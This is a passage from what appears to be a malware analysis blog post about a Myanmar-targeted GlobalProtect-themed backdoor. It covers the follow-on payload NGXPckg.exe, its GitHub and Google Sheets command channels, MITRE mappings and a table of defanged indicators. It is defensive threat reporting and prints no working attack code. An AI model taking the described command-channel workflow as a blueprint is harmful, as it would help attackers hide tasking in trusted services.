6Authenticated GET of the same per-run .txt pathSend, receive and read returned success; the API reported 297 bytes readSame-path verification traffic was observed; response-content attribution is unreliable in this export

The sample also opened %LOCALAPPDATA%\TM87945 for writing, and WriteFile recorded 16 bytes. This confirms the local-staging path found during static analysis. The run reached the GitHub exchange but did not reach the sample's command-execution routine.

One saved body cannot be trusted: the 297-byte artifact associated with the final GitHub GET has the same SHA-256 as the earlier geolocation JSON. This is a response-lineage anomaly, not a cryptographic collision. The WinHTTP calls still establish that the same-path GET occurred, but that saved body cannot tell us what GitHub returned or whether the preceding PUT changed the repository.

Relationship to the DellHeuristics investigation

This runtime chain has substantial infrastructure and protocol overlap with the separately analyzed DellHeuristics.exe investigation. The comparison is not based on GitHub use alone. Both executables use WinHTTP, query public geolocation, obtain bootstrap material from raw GitHub content, access the same faviconicons2/images repository through GitHub Contents API, retrieve the same License object, require the same Readme9823 continuation marker, construct an authenticated PUT to a randomized per-run .txt path, and follow it with a same-path GET.

The two files are not byte-identical. DellHeuristics.exe has SHA-256 cbbe346b679871b3a70b0493dc52565280211b3354f480dc0c02abcfb862af87; NGXPckg.exe has SHA-256 2fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559a. Their sizes, raw-GitHub bootstrap paths and randomized .txt paths also differ. The shared workflow is strong enough to justify a function-level comparison and infrastructure hunt, but not strong enough to name a common operator by itself.

There is also an important difference between the two runs. DellHeuristics required an analyst-modified continuation during one confirmatory execution. NGXPckg.exe received countryCode MM naturally and continued through the authenticated PUT and same-path GET without a recorded country-code patch.

What the September 15 traces established

The follow-on work changes the case from a static command-channel assessment to an observed tasking chain:

ClaimUpdated assessmentEvidence
Later-session command retrievalObservedGET for Sheet1!C13, 320 response bytes, analyst-retained C13 value and independently reproduced decryption
Command contentRecovered offlineAES-256-CBC decryption yields the defanged curl download command
Shell launchObservedEvent 3213: CreateProcessW, ReturnValue=true, child PID 7040
Output collectionObserved at API levelEight nonzero ReadFile returns totaling 628 bytes
D13 result submissionObserved attempt and responseHttpSendRequestA returned true for Sheet1!D13; 166 response bytes observed
D13 stored contentConfirmed by separate read-backTwo D13 values decoded to curl progress and connection errors with different elapsed times; each has 3,810 decoded bytes and neither is attributed to the trace's 628 pipe bytes
Follow-on payload acquisitionConfirmedNGXPckg.exe landed at the commanded VM path, was copied for analysis, and was independently reacquired from the recovered URL
GitHub response contentUnreliableThe saved final-GET body repeats the earlier geolocation body; the API sequence remains usable, but that body does not establish repository state

The September 15 findings strengthen T1059.003: Windows Command Shell, T1105: Ingress Tool Transfer and T1497.003: Time Based Evasion. The GitHub, raw-content, geolocation and fallback endpoints also reinforce T1102: Web Service and T1071.001: Web Protocols. These mappings describe behavior, not authorship.

Additional indicators

All network indicators remain defanged. Shared platforms require process, path, signer, command-line and sequence correlation.

TypeIndicatorScope
SHA-2562fd4df25928fa2239d40696c67e638ddb1e10a070a3d9726864a498f68d8559aUnsigned VM-deployed NGXPckg.exe copied and analyzed by the researcher
Domain / URIcctvcam[.]serveblog[.]net/weblogin/ngxpkgDecrypted C13 transfer source
PathC:\ProgramData\USOShared\NGXPckg.exeC13 transfer destination
Contextual serviceip-api[.]com/jsonSecond-stage geolocation gate
Runtime service / URIraw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/Readme12Runtime-observed marker retrieval
Runtime service / URIraw.githubusercontent[.]com/thetcoregorup1/collection/refs/heads/main/infosource45Runtime-observed 65-byte bootstrap retrieval
Runtime service / URIapi.github[.]com/repos/faviconicons2/images/contents/LicenseRuntime-observed Readme9823 marker retrieval
Static repository scanapi.github[.]com/repos/faviconicons{2..10}/images/contents/LicenseCode-derived repository family; the run selected faviconicons2
Per-run API pathapi.github[.]com/repos/faviconicons2/images/contents/ljrxpCM6T630uiZt/QWRtaW4%20.txtRuntime-observed authenticated PUT and same-path GET; remote mutation not verified
IP address5.230.254[.]220Decrypted alternate host; runtime use not observed
URI/weblanguage.phpAlternate-host request path; runtime use not observed
MarkerTest1234Raw-content discovery marker
MarkerReadme9823GitHub command-channel marker
Local path%LOCALAPPDATA%\TM87945Runtime-observed create/write target; 16 bytes written

All domains, IPs and request paths used for hunting are published above in defanged form, including the numbered GitHub repository family and the observed per-run path. The C13 ciphertext and offline decoder are also public. We withheld only reusable authentication material, the active spreadsheet identifier, victim-linked values and the raw D13 body.

Final assessment

The installer is a deceptive GlobalProtect-themed backdoor built around services that defenders normally expect to see: Google Sites for delivery, Cloudflare Workers for configuration, Google OAuth and Sheets for first-stage command exchange, and GitHub for the follow-on channel. The Myanmar check is part of the execution path, not a theme inferred from a string or lure.

The runtime story has two distinct Sheets sessions. The first authenticated successfully, read A1, updated B1 and found no task in C1. The September 15 session retrieved encrypted tasking from C13, created a hidden cmd.exe /c curl child, collected 628 bytes from its pipe and sent a result toward D13. A separate Sheet read-back found curl output in D13, including a connection failure from one attempt. The VM also held the downloaded NGXPckg.exe at C:\ProgramData\USOShared; we copied that deployed file, calculated its hash, reverse engineered it and ran it under MalwareINFO Pro Deep API Trace. We independently downloaded the same recovered URL to check the acquisition path. These observations establish both D's result-storage role and the follow-on payload's behavior without claiming that the failed D13 attempt produced the VM file.

NGXPckg.exe waits about five minutes, enforces the same Myanmar condition, discovers configuration through raw GitHub content, selects a repository from faviconicons{2..10}, retrieves the Readme9823 marker and performs an authenticated GitHub PUT followed by a same-path GET. The observed run selected faviconicons2 and wrote 16 bytes to %LOCALAPPDATA%\TM87945. The saved body for the final GET is misattributed, so it cannot be used to describe GitHub's response, but the ordered API calls and exact paths remain useful hunting evidence.

The overlap with DellHeuristics makes relatedness analysis worthwhile. SideWinder is the most relevant public comparison because of Myanmar targeting, phishing-led delivery, imitation sites, geographic filtering and the separate DellHeuristics IOC connection. HoneyMyte remains in the article as a negative regional comparison. Neither comparison is an attribution: no public actor-specific indicator or established malware lineage currently closes that gap.

References

MyanmarGlobalProtectMSICloudflare WorkersGoogle SheetsMalware AnalysisMalwareINFO Pro
← Back to all posts